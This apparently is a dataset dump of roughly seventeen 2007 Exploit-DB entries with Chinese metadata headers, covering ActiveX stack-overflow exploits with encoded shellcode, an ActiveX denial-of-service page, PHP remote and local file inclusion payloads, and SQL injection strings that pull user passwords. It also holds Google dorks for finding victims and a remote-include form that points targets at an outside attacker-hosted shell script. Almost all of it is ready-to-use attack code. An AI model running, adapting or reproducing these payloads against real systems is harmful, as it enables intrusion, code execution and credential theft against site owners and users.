QLWD/code_shield huggingface dataset:
标题: ActSoft DVD-Tools - 'dvdtools.ocx 3.8.5.0' Remote Stack Overflow EDB-ID: 3844 CVE: 2007-0976 类型: REMOTE 平台: WINDOWS 发布日期: 2007-05-04 漏洞利用脚本: <html>
 <object classid='clsid:894A633E-F261-28BD-96F3-380EBEE1BADE' id='test'></object>
  <script language = 'vbscript'>

   '----------------------------------------------------------------------------------
   ' ActSoft DVD-Tools (dvdtools.ocx v. 3.8.5.0) Stack Overflow Exploit (MoAxB bonus)
   ' url: http://www.activex-soft.com
   '
   ' original advisory: http://www.shinnai.altervista.org/viewtopic.php?id=41&t_id=30
   '                    http://www.milw0rm.com/exploits/3307
   ' author: shinnai
   ' mail: shinnai[at]autistici[dot]org
   ' site: http://shinnai.altervista.org
   ' Tested on Windows XP Professional SP2 full patched, with Internet Explorer 7
   ' This exploit was written for working on Windows XP Professional SP2
   '----------------------------------------------------------------------------------

   buff      = String(380,"A")

   get_EIP   = unescape("%EB%AA%D7%77")

   buff2     = String(92,"A")

   nop       = unescape("%90%90%90%90%90%90%90%90%90%90")

   shellcode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49") & _
               unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36") & _
               unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34") & _
               unescape("%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41") & _
               unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%54") & _
               unescape("%42%30%42%50%42%50%4b%58%45%54%4e%53%4b%58%4e%37") & _
               unescape("%45%50%4a%47%41%30%4f%4e%4b%38%4f%44%4a%51%4b%48") & _
               unescape("%4f%55%42%42%41%30%4b%4e%49%44%4b%48%46%43%4b%38") & _
               unescape("%41%30%50%4e%41%53%42%4c%49%49%4e%4a%46%58%42%4c") & _
               unescape("%46%57%47%50%41%4c%4c%4c%4d%50%41%30%44%4c%4b%4e") & _
               unescape("%46%4f%4b%53%46%35%46%32%46%30%45%37%45%4e%4b%48") & _
               unescape("%4f%35%46%32%41%50%4b%4e%48%56%4b%38%4e%50%4b%54") & _
               unescape("%4b%48%4f%55%4e%31%41%30%4b%4e%4b%38%4e%41%4b%38") & _
               unescape("%41%30%4b%4e%49%58%4e%35%46%42%46%50%43%4c%41%43") & _
               unescape("%42%4c%46%36%4b%48%42%34%42%33%45%38%42%4c%4a%37") & _
               unescape("%4e%30%4b%48%42%34%4e%50%4b%48%42%57%4e%31%4d%4a") & _
               unescape("%4b%38%4a%46%4a%50%4b%4e%49%50%4b%48%42%38%42%4b") & _
               unescape("%42%30%42%50%42%30%4b%48%4a%36%4e%53%4f%35%41%33") & _
               unescape("%48%4f%42%46%48%35%49%58%4a%4f%43%48%42%4c%4b%57") & _
               unescape("%42%55%4a%46%42%4f%4c%48%46%50%4f%35%4a%46%4a%49") & _
               unescape("%50%4f%4c%38%50%30%47%55%4f%4f%47%4e%43%56%41%36") & _
               unescape("%4e%46%43%46%50%52%45%36%4a%37%45%36%42%30%5a")

   egg       = buff + get_EIP + buff2 + get_EIP + nop + shellcode + nop

   test.OpenDVD egg

 </script>
</html>

# milw0rm.com [2007-05-04] URL: https://www.exploit-db.com/exploits/3844
标题: WordPress Plugin myflash 1.00 - 'wppath' Remote File Inclusion EDB-ID: 3828 CVE: 2007-2485 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-01 漏洞利用脚本: --------------------------------- [ Oyle Kahpe Ki DÃ¼nya ! ] --------------------------------------

Title : Wordpress plugin myflash <= V1.00  (wppath) RFI Vulnerability

--------------------------------------------------------------------------------
#Author: Crackers_Child


#cont@ct: cybermilitan@hotmail.com

--------------------------------------------------------------------------------


------------------------- -------------------------------------------------------

Application :  Wordpress plugin

Web Site    :  http://alexrabe.boelinger.com/

--------------------------------------------------------------------------------
Vuln Ä°n  myflash-button.php

if (!$_POST) $wppath=$_GET['wpPATH'];
else $wppath=$_POST['wpPATH'];

require_once($wppath.'/wp-config.php');
require_once($wppath.'/wp-admin/admin.php');

global $wpdb;
--------------------------------------------------------------------------------

Exploit:

http://[target]/_path]/wp-content/plugins/myflash/myflash-button.php?wpPATH=Shl3?

--------------------------------------------------------------------------------

greets:

Every Body

--------------------------------------------------------------------------------



--------------------------------- [http://www.biyosecurity.net ] --------------------------------------

# milw0rm.com [2007-05-01] URL: https://www.exploit-db.com/exploits/3828
标题: Sendcard 3.4.1 - 'sendcard.php?form' Local File Inclusion EDB-ID: 3827 CVE: 2007-2471 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-01 漏洞利用脚本: Sendcard  (sendcard.php) Sendcard Local File Inclusion Vulnerability

Discovered: ettee
Dork: "Powered by sendcard - an advanced PHP e-card program" -site:sendcard.org
         "powered by Sendcard"

Bug:
"// Get the template details
if(!isset($form) || $form == ''){
    $form = "form";
}
if(!isset($des) || $des == ''){
    $des = "card";
}
if (!isset($template) || $template == '') {
    $template = 'message';
}"

PoC:
http://[site]/[path]/sendcard.php?form=/etc/passwd%00

# milw0rm.com [2007-05-01] URL: https://www.exploit-db.com/exploits/3827
标题: PowerPoint Viewer OCX 3.2 - ActiveX Control Denial of Service EDB-ID: 3826 CVE: 2007-2494 类型: DOS 平台: WINDOWS 发布日期: 2007-05-01 漏洞利用脚本: <span style="font: 14pt Courier New;"><p align="center"><b>2007/05/01</b></p></span>
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------
 <b>PowerPointViewer.ocx v. 3.1.0.3 multiple methods Denial of Service</b>
 url: http://www.officeocx.com/
 price: from â‚¬63.95 (update to last version) to â‚¬1,585.95 (Royalty)

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to these exploits.
 Theese methods are vulnerable too:

 <b>DoOleCommand</b>
 <b>FTPDownloadFile</b>
 <b>FTPUploadFile</b>
 <b>HttpUploadFile</b>
 <b>Save</b>
 <b>SaveWebFile</b>
-----------------------------------------------------------------------------

<object classid='clsid:97AF4A45-49BE-4485-9F55-91AB40F22B92' id='PowerPointOCX' width="405" height="50"></object>

<select style="width: 404px" name="Pucca">
  <option value = "HttpDownloadFile">HttpDownloadFile</option>
  <option value = "Open">Open</option>
  <option value = "OpenWebFile">OpenWebFile</option>
  <option value = "Quoting">Quoting...</option>
</select>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  on error resume next
   Dim MyMsg
   if Pucca.value = "HttpDownloadFile" then
     argCount = 2
     arg1=String(1000000,"A")
     arg2="defaultV"
     PowerPointOCX.HttpDownloadFile arg1, arg2
   elseif Pucca.value = "Open" then
     argCount = 1
     arg1=String(1000000, "A")
     PowerPointOCX.Open arg1
   elseif Pucca.value = "OpenWebFile" then
     argCount = 1
     arg1=String(1000000, "A")
     PowerPointOCX.OpenWebFile arg1
   else
     MyMsg = MsgBox ("...And when he knew for certain" & vbCrLf &_
     "Only drowning men could see him" & vbCrLf &_
     "He said: 'All men will be sailors then" & vbCrLf &_
     "Until the sea shall free them'...",64 ,"2007/05/01 - PowerPointViewer 3.1")
   end if
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-05-01] URL: https://www.exploit-db.com/exploits/3826
标题: Imageview 5.3 - 'fileview.php?album' Local File Inclusion EDB-ID: 3817 CVE: 2007-2425 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-29 漏洞利用脚本: \#'#/
                            (-.-)
   --------------------oOO---(_)---OOo-------------------
   | Imageview v5.3 (fileview.php) Local File Inclusion |
   |      (works only with magic_quotes_gpc = off)      |
   |                    coded by DNX                    |
   ------------------------------------------------------
[!] Discovered: DNX
[!] Vendor: www.blackdot.be/?inc=projects/imageview
[!] Detected: 21.04.2007
[!] Reported: 21.04.2007
[!] Remote: yes

[!] Background: Imageview is an image gallery script based on PHP

[!] Bug: $_GET['album'] in fileview.php line 4

         require('albums/'.$_GET['album'].'/data.dat');

[!] PoC:
    - http://[site]/[path]/fileview.php?album=[file]%00
    - http://[site]/[path]/fileview.php?album=../../../../../../etc/passwd%00

[!] Solution: Install Imageview 6 or magic_quotes_gpc = on

# milw0rm.com [2007-04-29] URL: https://www.exploit-db.com/exploits/3817
标题: The Merchant 2.2.0 - 'index.php?show' Remote File Inclusion EDB-ID: 3818 CVE: 2007-2424 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-29 漏洞利用脚本: <html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>2005-2006 The Merchant Project   Remote File Include Exploit</title>

<script language="JavaScript">

//'===============================================================================================
//'[Script Name: 2005-2006 The Merchant Project
//'[Coded by   : kezzap66345
//'[Author     : kezzap66345
//'[Contact    : kezzap66345@hotmail.com
//'[S.Page     : http://www.the-merchant.co.uk/
//'[$$         : Free
//'[Dork       : http://www.google.com.tr/search?q=%22The+Merchant+Project%22&hl=tr&start=30&sa=N
//'[Download   : http://sourceforge.net/project/downloading.php?group_id=37721&use_mirror=belnet&filename=themerchant-2.2.tar.bz2&58090119
//'===============================================================================================




   //Basic exploit,but any time : (
 var path="/help"
 var adres="/index.php?" //File name
 var acik ="show=" // Line x
 var shell="http://kezzap66345.by.ru/casus.php?" // Shell Script

 function command(){
     if (document.rfi.target1.value==""){
        alert("Failed..");
    return false;
  }



rfi.action= document.rfi.target1.value+path+adres+acik+shell;
rfi.submit(); // Form Submit
 }
</script>

</head>

<body bgcolor="#000000">
<center>

<p><b><font face="Verdana" size="2" color="#008000">2005-2006 The Merchant
Project
Remote File Include Exploit</font></b></p>

<p></p>
<form method="post" target="getting" name="rfi" onSubmit="command();">
  <b><font face="Arial" size="1" color="#FF0000">Target:</font><font
face="Arial" size="1"
color="#808080">[http://[target]/[scriptpath]</font><font color="#00FF00"
size="2" face="Arial">
</font><font color="#FF0000" size="2"></font></b>
<input type="text" name="target1" size="20" style="background-color:
#808000" onmouseover="javascript:this.style.background='#808080';"
onmouseout="javascript:this.style.background='#808000';"></p>
<p><input type="submit" value="Gonder" name="B1"><input type="reset"
value="Sifirla" name="B2"></p>
</form>
<p><br>
<iframe name="getting" height="337" width="633" scrolling="yes"
frameborder="0"></iframe>
</p>

<b><font face="Verdana" size="2" color="#008000">kezzap66345</font></b></p>
</center>
</body>

</html>

# milw0rm.com [2007-04-29] URL: https://www.exploit-db.com/exploits/3818
标题: PostNuke pnFlashGames Module 1.5 - SQL Injection EDB-ID: 3813 CVE: 2007-2427 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-28 漏洞利用脚本: ============================================================

PostNuke pnFlashGames Module v1.5 REmote SQL Injection 

============================================================

Bulan: xoron


xoron.biz

+

Love's the funeral of hearts

The funeral of hearts
And a plea for mercy
When love is a gun
Separating me from you

:(

============================================================

Exploit: 
index.php?module=pnFlashGames&func=view&cid=-1/**/union/**/select/**/0,pn_uname,2,pn_pass,4,5,6,7,8,9,10,11,12,13/**/from/**/pn_users/**/where/**/pn_uid=2/*

============================================================

Example: http://andersonvision.com/PostNuke/
============================================================

# milw0rm.com [2007-04-28] URL: https://www.exploit-db.com/exploits/3813
标题: WordPress Plugin mygallery 1.4b4 - Remote File Inclusion EDB-ID: 3814 CVE: 2007-2426 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-29 漏洞利用脚本: AAAAAAAAA AAAAAAAA  AAA   AAA    AAA      AAAAAAAA   
AAAAAAAAA AAAAAAAAA AAA   AAA   AAAAA    AAAAAAAAAA  
   AAA    AAA   AAA  AAA AAA   AAAAAAA  AAA       
   AAA    AAAAAAAAA   AAAAA   AAA   AAA AAA     AAAAA
   AAA    AAAAAAAA     AAA    AAA   AAA AAA     AAAAA
   AAA    AAA AAA      AAA    AAAAAAAAA AAA      AAA  
   AAA    AAA  AAA     AAA    AAA   AAA  AAAAAAAAAA    
   AAA    AAA   AAA    AAA    AAA   AAA   AAAAAAAA     


# myGallery 1.2.1(myPath)Remote File Include Vulnerablity
# Script Paeg : http://www.wildbits.de/usr_files/mygallery_1.2.1.zip
# Discovered by: GolD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.cc
# V.Code 
#########################################################
# if (!$_POST){
#  $mypath=$_GET['myPath']; <---------[+]
# 
# }
# else {
#  $mypath=$_POST['myPath'];<---------[+]
#  
#  
# }
# require_once($mypath.'/wp-config.php');<---------[+]
########################################################
# Dork : 
# inurl:/mygallery/myfunctions/ (OR) Index of /mygallery/myfunctions (OR) inurl:mygallerytmpl.php
# Ex:
# [Path_myGallery]/mygallery/myfunctions/mygallerybrowser.php?myPath=Shell
# Sp.Thanx = Tryag-Team

# milw0rm.com [2007-04-29] URL: https://www.exploit-db.com/exploits/3814
标题: burnCMS 0.2 - 'root' Remote File Inclusion EDB-ID: 3809 CVE: 2007-2364 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-27 漏洞利用脚本: # burnCMS <= 0.2(root)Remote File Include Vulnerablities
# D.Script: http://www.burnstone.ch/downloads/burnCMS-0.2.zip
# Discovered by: GolD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.cc
# Exploit:[Path_burnCMS]/lib/authuser.php?root=Shell
# Exploit:[Path_burnCMS]/lib/misc.php?root=Shell
# Exploit:[Path_burnCMS]/lib/connect.php?root=Shell
# Exploit:[Path_burnCMS]/lib/db/mysql.class.php?root=Shell
# Exploit:[Path_burnCMS]/lib/db/postgres.class.php?root=Shell
# Greetz To: Tryag-Team & 4lKaSrGoLd3n-Team & AsbMay's Group & cRiMiNaL NeT

# milw0rm.com [2007-04-27] URL: https://www.exploit-db.com/exploits/3809
标题: EsForum 3.0 - 'forum.php?idsalon' SQL Injection EDB-ID: 3806 CVE: 2007-2259 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-26 漏洞利用脚本: -------------------------------------------------------------------------------------------------------------------
AYYILDIZ.ORG PreSents...


Script: EsForum 3.0
Script Download: http://www.editeurscripts.com/scripts/dl-esforum-3.html
Contact: ilker Kandemir <ilkerkandemir[at]mynet.com>

info:
*/  MEFISTO Begins. */

-------------------------------------------------------------------------------------------------------------------
Exploit:

forum.php?idsalon='/**/UNION/**/SELECT/**/0,1,2,3,4,user_password,6/**/FROM/**/esforum_users%20where%20user_id=1/*

-------------------------------------------------------------------------------------------------------------------


Tnx:H0tturk,Dr.Max Virus,Gencnesil,CodeR,Ajann
Special Tnx: AYYILDIZ.ORG

# milw0rm.com [2007-04-26] URL: https://www.exploit-db.com/exploits/3806
标题: Microsoft Internet Explorer - NCTAudioFile2.AudioFile ActiveX Remote Stack Overflow (2) EDB-ID: 3808 CVE: 2007-0018 类型: REMOTE 平台: WINDOWS 发布日期: 2007-04-27 漏洞利用脚本: <html>
<object classid='clsid:77829F14-D911-40FF-A2F0-D11DB8D6D0BC' id='NCTAudioFile2'></object>
  <input language=VBScript onclick=tryMe() type=button value="Click here to start the test">
   <script language = 'vbscript'>
    Sub tryMe

     '------------------------------------------------------------------
     '[PoC2] IE NCTAudioFile2.AudioFile ActiveX Remote Stack Overfl0w
     'original advisory: http://secunia.com/advisories/23475/
     'author: shinnai
     'mail: shinnai[at]autistici[dot]org
     'site: http://shinnai.altervista.org
     'based on: http://www.milw0rm.com/exploits/3728
     '(see what InTeL said about Win XP Pro SP2 and IE7, enjoy brotha ;)
     'modified for working on Win XP Pro SP2 with IE7 full patched
     '------------------------------------------------------------------

     buff = String (4116, "A")

     get_EIP = unescape("%EB%AA%D7%77") '0x77D7AAEB call esp (from user32.dll)

     nop = unescape("%90%90%90%90%90%90%90%90%90%90")

     shellcode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49") & _
                 unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36") & _
                 unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34") & _
                 unescape("%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41") & _
                 unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%54") & _
                 unescape("%42%30%42%50%42%50%4b%58%45%54%4e%53%4b%58%4e%37") & _
                 unescape("%45%50%4a%47%41%30%4f%4e%4b%38%4f%44%4a%51%4b%48") & _
                 unescape("%4f%55%42%42%41%30%4b%4e%49%44%4b%48%46%43%4b%38") & _
                 unescape("%41%30%50%4e%41%53%42%4c%49%49%4e%4a%46%58%42%4c") & _
                 unescape("%46%57%47%50%41%4c%4c%4c%4d%50%41%30%44%4c%4b%4e") & _
                 unescape("%46%4f%4b%53%46%35%46%32%46%30%45%37%45%4e%4b%48") & _
                 unescape("%4f%35%46%32%41%50%4b%4e%48%56%4b%38%4e%50%4b%54") & _
                 unescape("%4b%48%4f%55%4e%31%41%30%4b%4e%4b%38%4e%41%4b%38") & _
                 unescape("%41%30%4b%4e%49%58%4e%35%46%42%46%50%43%4c%41%43") & _
                 unescape("%42%4c%46%36%4b%48%42%34%42%33%45%38%42%4c%4a%37") & _
                 unescape("%4e%30%4b%48%42%34%4e%50%4b%48%42%57%4e%31%4d%4a") & _
                 unescape("%4b%38%4a%46%4a%50%4b%4e%49%50%4b%48%42%38%42%4b") & _
                 unescape("%42%30%42%50%42%30%4b%48%4a%36%4e%53%4f%35%41%33") & _
                 unescape("%48%4f%42%46%48%35%49%58%4a%4f%43%48%42%4c%4b%57") & _
                 unescape("%42%55%4a%46%42%4f%4c%48%46%50%4f%35%4a%46%4a%49") & _
                 unescape("%50%4f%4c%38%50%30%47%55%4f%4f%47%4e%43%56%41%36") & _
                 unescape("%4e%46%43%46%50%52%45%36%4a%37%45%36%42%30%5a")

     egg = buff + get_EIP + nop + shellcode + nop

     NCTAudioFile2.SetFormatLikeSample egg

    End Sub
   </script>
</html>

# milw0rm.com [2007-04-27] URL: https://www.exploit-db.com/exploits/3808
标题: Ext 1.0 - 'feed-proxy.php?feed' Remote File Disclosure EDB-ID: 3800 CVE: 2007-2285 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-25 漏洞利用脚本: #  ext 1.0 alpha1 (feed-proxy.php) Remote File Disclosure
# D.Script: http://yui-ext.com/deploy/ext-1.0-alpha1.zip
# Discovered by: Alkomandoz Hacker
# Homepage: http://www.asb-may.net - mohandko.com - sniper-sa.com - tryag.com
# V.Code In /examples/layout/feed-proxy.php

----------------------------------------------------------

header('Content-Type: text/xml');
       readfile($feed);
       return;
}
?>

----------------------------------------------------------

# Exploit:[Path_ext]/examples/layout/feed-proxy.php?feed=http../../../../../../etc/passwd

# Greetz To: AsbMay's Group & City Of Ghost Team

# milw0rm.com [2007-04-25] URL: https://www.exploit-db.com/exploits/3800
标题: PHPBandManager 0.8 - 'index.php?pg' Remote File Inclusion EDB-ID: 3802 CVE: 2007-2341 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-26 漏洞利用脚本: author:koray
greetz:cigicigi.net
script:http://sourceforge.net/projects/phpbandmanager

allow_url_fopen:on or register_globals:on

vuln;

/bandmanager/suite/index.php

include($_GET['pg'].".php");

example;

http://www.victim.com/suite/index.php?pg=shell link?

# milw0rm.com [2007-04-26] URL: https://www.exploit-db.com/exploits/3802
标题: Firefly 1.1.01 - 'doc_root' Remote File Inclusion EDB-ID: 3805 CVE: 2007-2456 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-26 漏洞利用脚本: # firefly 1.1.01 <=  Remote File Include Vulnerablitiy
# D.Script: http://fresh.t-systems-sfr.com/unix/src/privat2/firefly-1.1.01.tar.gz
# Discovered by: Alkomandoz Hacker
# Homepage: asb-may.net & mohandko.com & sniper-sa.com & Tryag.com

====================================
# Exploit:[Path]/modules/admin/include/localize.php?doc_root=Shell
# Exploit:[Path]/modules/admin/include/config.php?doc_root=Shell

====================================

# Greetz To:   AsbMay's Group & City Of Ghosts Team & Sniper-sa Team & No4Hard

# milw0rm.com [2007-04-26] URL: https://www.exploit-db.com/exploits/3805
标题: PHPOracleView - 'include_all.inc.php?page_dir' Remote File Inclusion EDB-ID: 3803 CVE: 2007-2340 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-26 漏洞利用脚本: ===============================
phporacleview =>  (page_dir) Remote File Inclusion Exploit
===============================

Discoverd By : Alkomandoz Hacker


HomePge= Asb-May.Net & Mohandko.com & Sniper-sa.com & Tryag.com

================================

Script Name: phporacleview

Download Script: http://webxadmin.free.fr/download/phporacleview.zip


=================================
Bug in :

phporacleview/inc/include_all.inc.php

=======

<?
include($page_dir . $inc_dir . "config.inc.php");

==================================


Exploit :
--------------------------------

http://localhost/phporacleview/inc/include_all.inc.php?page_dir=http://Shell.txt?

===================================

GreetZ : AsbMay's Groups & City Of Ghosts Team & Sniper-sa TeAm

# milw0rm.com [2007-04-26] URL: https://www.exploit-db.com/exploits/3803
标题: Microsoft Windows - '.ani' GDI Remote Privilege Escalation (MS07-017) EDB-ID: 3804 CVE: 2007-1215 2007-1213 2007-1212 2007-1211 2007-0038 2006-5758 2006-5586 类型: REMOTE 平台: WINDOWS 发布日期: 2007-04-26 漏洞利用脚本: MS Windows (.ANI) GDI Remote Elevation of Privilege Exploit (MS07-017)

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/3804.zip (04262007-gdi_remote_elevation_privilege_exploit_ms07_017_principal.zip)

# milw0rm.com [2007-04-26] URL: https://www.exploit-db.com/exploits/3804
标题: JulmaCMS 1.4 - 'file.php' Remote File Disclosure EDB-ID: 3799 CVE: 2007-2324 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-25 漏洞利用脚本: # JulmaCMS 1.4(file.php file)Remote File Disclosure
# D.Script: http://julmajanne.com/downloads/julma.zip
# Discovered by: GolD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.cc
# V.Code In /file.php:
###################/file.php###########################
# <?php // $Id: file.php,v 1.4 2004/04/24 18:18:22 janne Exp $
#
#    include("config.php");
#    include("lib/mime.php");
#    $file = $_GET['file'];<-------[+]
#
#    if($file) {
#        $file = $CFG->dir . $file;
#        $fname = basename($file);
#        $mime = mimetype("mime", $fname);
#
#        header("Content-Type: $mime");
#        header("Content-Lenght: ". filesize($file) ."");
#        header("Content-Disposition: inline; filename=$fname");
#        header("Content-Description: PHP Generated Data");
#        readfile($file); <-------[+]
#        unset($fname,$file,$type);
#    } else {
#        header("Location: $CFG->web");
#    }
# ?>
########################################################
# Exploit:[Path_JulmaCMS]/file.php?file=../../../../../../etc/passwd
# Greetz To: Tryag-Team & 4lKaSrGoLd3n-Team & AsbMay's Group & bd0rk

# milw0rm.com [2007-04-25] URL: https://www.exploit-db.com/exploits/3799